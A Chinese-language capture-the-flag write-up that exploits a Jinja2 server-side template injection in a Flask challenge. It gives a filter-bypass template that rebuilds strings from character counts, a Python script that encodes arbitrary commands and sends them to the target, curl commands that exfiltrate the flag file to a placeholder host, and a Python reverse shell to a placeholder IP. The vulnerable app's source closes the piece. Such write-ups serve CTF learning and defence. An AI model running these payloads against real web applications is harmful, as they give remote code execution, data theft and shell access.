Werkzeug/1.0.1Python/3.8.7

    不搞看源码 EXP了,哈哈
    看别人说好像过滤了 print ,翻了一下手册,好像没有替代函数了。

    尝试通过反弹 shell 的方式直接获取吧~

    先试试执行 curl 命令回显
    参考 yu22x 师傅写的模板和脚本(因为使用过程中发现有bug, system -> sBstem,即当 ascii 码是三位数时,前两位大于 11 会出现这种情况,所以修改了一下),又因 eval 对于执行多行代码不方便,因为换成 exec 函数,这里直接写成脚本,不用复制来复制去。。模板如下

    1. /?name=
    2. {% set c=(t|count)%}
    3. {% set cc=(dict(e=a)|join|count)%}
    4. {% set ccc=(dict(ee=a)|join|count)%}
    5. {% set cccc=(dict(eee=a)|join|count)%}
    6. {% set ccccc=(dict(eeee=a)|join|count)%}
    7. {% set cccccc=(dict(eeeee=a)|join|count)%}
    8. {% set ccccccc=(dict(eeeeee=a)|join|count)%}
    9. {% set cccccccc=(dict(eeeeeee=a)|join|count)%}
    10. {% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
    11. {% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
    12. {% set a=(()|select|string|list).pop((ccc~ccccc)|int)%}
    13. {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
    14. {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
    15. {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
    16. {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
    17. {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
    18. {% set chr=x.chr%}
    19. {% set cmd=
    20. %}
    21. {%if x.eval(cmd)%}
    22. {%endif%}

    PS 这里的 {% if %}{% endif %} 不能没有哈,因为是控制定界符,不能直接运行语句,否则后端会报错,或者换成其他语句和函数包裹住也行。不能单单 x.eval(cmd)

    脚本如下,只要替换 urlcmd 即可

    1. import requests
    2. url = "http://44d624d7-7c45-4e23-9f39-d6d1c62589ec.challenge.ctf.show:8080"
    3. cmd = 'import os;os.system("curl http://xxx:2233/`cat /flag`")'
    4. def trans_to_placeholder(int_str):
    5. int_placeholder = list(map(lambda x: (int(x) + 1) * 'c', int_str))
    6. return '(' + '~'.join(int_placeholder) + ')|int'
    7. def c_chr(s):
    8. placeholder_list = ['chr(' + trans_to_placeholder(str(ord(c))) + ')' for c in s]
    9. return '~'.join(placeholder_list)
    10. payload = """/?name=
    11. {% set c=(t|count)%}
    12. {% set cc=(dict(e=a)|join|count)%}
    13. {% set ccc=(dict(ee=a)|join|count)%}
    14. {% set cccc=(dict(eee=a)|join|count)%}
    15. {% set ccccc=(dict(eeee=a)|join|count)%}
    16. {% set cccccc=(dict(eeeee=a)|join|count)%}
    17. {% set ccccccc=(dict(eeeeee=a)|join|count)%}
    18. {% set cccccccc=(dict(eeeeeee=a)|join|count)%}
    19. {% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
    20. {% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
    21. {% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
    22. {% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
    23. {% set coun=(ccc~ccccc)|int%}
    24. {% set po=dict(po=a,p=a)|join%}
    25. {% set a=(()|select|string|list)|attr(po)(coun)%}
    26. {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
    27. {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
    28. {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
    29. {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
    30. {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
    31. {% set chr=x.chr%}
    32. {% set cmd=""" + c_chr(cmd) + """ %}
    33. {%if x.exec(cmd)%}
    34. {%endif%}"""
    35. print(url + payload)
    36. # 请求
    37. req = requests.get(url + payload)
    38. print(req.text)

    运行一下脚本即可
    image.png
    当然细心的同学发现 flag 少了 {} ,应该 HTTP 协议把 {} 给搞掉了,最好编码一下在传输。
    比如 cmd 换成

    1. cmd = 'import os;os.system("curl http://xxx:2233/`cat /flag|base64`")'

    image.png

    解释一下这里的数字问题(即上面模板的前面 10 行 c),比如命令中特殊字符较多,或者它的 ascii 码比较大(system 中的 y),下面这样肯定不够优雅(需要把用到的数字都写出来。。):

    1. {% set cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
    2. {% set cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}

    所以可以考虑字符拼接,比如 60 可以转换为 int('6' + '0')

    1. {% set ccccccc=(dict(eeeeee=a)|join|count)%}
    2. {% set c=(t|count)%}
    3. {% set coun=(ccccccc~c)|int%}
    4. {{coun}}

    这样可以输出 60 ,所以只要把 0-9 列出,就可以拼接任意数字啦~

    试试反弹 shell (
    cmd 换成下面即可,换下 IP端口 (下面写了 2233,随意换)

    1. cmd = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP地址",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    image.png
    用原生的不关系统环境依赖,比较舒服,2333

    当然还要白嫖一波源码

    1. from flask import Flask
    2. from flask import request
    3. from flask import render_template_string
    4. from flask import session
    5. import re
    6. app = Flask(__name__)
    7. @app.route('/')
    8. def app_index():
    9. name = request.args.get('name')
    10. if name:
    11. if re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]|print",name,re.I):
    12. return ':('
    13. template = '''
    14. {%% block body %%}
    15. <div class="center-content error">
    16. <h1>Hello</h1>
    17. <h3>%s</h3>
    18. </div>
    19. {%% endblock %%}
    20. ''' % (request.args.get('name'))
    21. return render_template_string(template)
    22. if __name__=="__main__":
    23. app.run(host='0.0.0.0',port=80)

    果然是过滤了 print